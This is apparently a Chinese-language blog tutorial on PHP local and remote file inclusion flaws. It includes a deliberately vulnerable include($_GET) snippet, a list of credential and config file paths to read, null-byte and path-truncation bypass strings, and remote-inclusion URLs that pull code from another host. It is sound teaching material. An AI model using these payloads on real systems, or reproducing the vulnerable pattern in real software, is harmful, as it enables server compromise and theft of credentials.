0%

文件包含漏洞

前言

(冲冲冲,继续学习。)

什么是文件包含漏洞?

服务器通过PHP的特性去包含任意文件时,对文件来源过滤不严,从而可以包含一个恶意文件。

简要来说,服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间,但是如果这个包含的文件是变量或者用户可以篡改的,且开发人员过滤不严,那么就有可能包含一个恶意文件,导致服务器遭到侵害。

(注意:文件包含不止在PHP中,只是PHP比较严重而已,其他脚本语言例如JSP,ASP也有文件包含漏洞)

PHP中关于文件包含的函数

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

当使用这4个函数包含一个新文件时,该文件将作为PHP代码执行,PHP内核并不会在意被包含的文件类型,只要文件中含有PHP代码既可以服务器所解析。

PHP文件包含利用

当出现以下两种情况的时候,就可以利用到文件包含漏洞:

  1. include等函数通过变量控制需要包含的文件
  2. 用户能够控制这些变量

本地文件包含LFI

举一个简单例子:

1
2
3
<?php
include($_GET[file]);
?>

这个test中可以看到由用户可以控制的$_GET传入的参数file可以指定include函数所包含的文件

我们在该目录建立一个txt文件,其中包含PHP代码

JpCGyF.png

URL为:http://localhost/file_include/test.php?file=1.txt

JpVpX6.png

如果是不加限制的文件包含漏洞,那么我们可以使用目录遍历漏洞轻易的知道很多敏感信息,比如:

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

​ 一般可以将本地文件包含配合文件上传漏洞使用,文件上传漏洞可以看我之前的博客,假若攻击者上传webshell到服务器上,只需知道其路径和名称,就可以配合文件包含漏洞使用,但是这里面有个问题。

如果关于文件包含的代码如下所示:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>

只会在请求中获取文件名,在代码中加入后缀名。

这个时候我们可以用到%00截断,因为php的内核是用c实现的,因此使用了一些字符串处理函数,在连接字符串的时候,0字节(\x00)可以看作字符串结束符。那么我们就可以使用%00截断来实现绕过。但是有个前提条件:magic_quotes_gpc = Off且php版本<5.3.4,因为当magic_quotes_gpc = On时候,会将%00看作NULL处理。

还有一种就是路径长度截断:

条件:windows OS,点号需要长于256;linux OS 长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

可以用到这样的文件名:

test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

在windows环境下还可以使用点号截断:

条件:windows OS,点号需要长于256

举例:

filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

远程文件包含RFI

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件,默认开启)

allow_url_include = On(是否允许include/require远程文件,默认关闭)

举例:

引用上面的测试代码

1
2
3
<?php
include($_GET[file]);
?>

http://localhost/file_include/test.php?file=http://192.168.0.102/1.txt

JKwvZV.png

如果远程文件包含也使用了如下:

1
2
3
4
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>

那么可以使用?#进行绕过:

http://localhost/file_include/test.php?file=http://192.168.0.102/1.txt?

http://localhost/file_include/test.php?file=http://192.168.0.102/1.txt#

本地文件包含的利用技巧

在本地文件包含中如何执行php代码,这也是具有方法的。

远程文件包含之所以可以执行命令,就是因为攻击者可以自定义被包含的文件内容,因此本地文件包含漏洞想要执行命令,也需要找到一个可以被攻击者能控制内容的文件。

一般来说,有以下几种:

  1. 包含用户上传的文件 (这个配合文件上传漏洞)
  2. 包含data://或者php://input等伪协议(这个利用下面那个文章里面有)
  3. 包含Session文件(这个我尝试过,可用空间不大,应用范围比较小)
  4. 包含日志文件
  5. 包含其他上传的临时文件,以及其他应用所创建的临时文件

这些利用方式具体得看实战环境,之后我会慢慢介绍。

同时,推荐这篇文章,关于文件包含漏洞写的不错,文件包含漏洞